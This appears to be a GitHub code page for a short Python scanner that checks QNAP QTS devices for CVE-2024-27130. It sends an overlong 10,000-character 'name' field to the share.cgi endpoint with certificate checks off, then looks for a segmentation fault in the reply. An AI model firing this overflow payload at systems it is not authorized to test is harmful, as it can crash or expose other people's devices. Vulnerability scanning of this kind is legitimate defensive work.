-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathChecker.py
36 lines (30 loc) · 1.16 KB
/
Checker.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
import argparse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def check_vulnerability(host):
url = f"https://{host}/cgi-bin/filemanager/share.cgi"
payload = {
'func': 'get_file_size',
'total': '1',
'path': '/',
'name': 'A' * 10000
}
try:
response = requests.post(url, data=payload, verify=False, timeout=5)
if response.status_code == 200:
if "SIGSEGV" in response.text:
print(f"The target {host} is vulnerable to CVE-2024-27130")
else:
print(f"The target {host} is not vulnerable to CVE-2024-27130")
else:
print(f"Failed to check vulnerability for {host}. Status code: {response.status_code}")
except Exception as e:
print(f"An error occurred while checking vulnerability for {host}: {str(e)}")
def main():
parser = argparse.ArgumentParser(description="QNAP QTS CVE-2024-27130 Scanner")
parser.add_argument("host", help="Target host IP address or domain name")
args = parser.parse_args()
check_vulnerability(args.host)
if __name__ == "__main__":
main()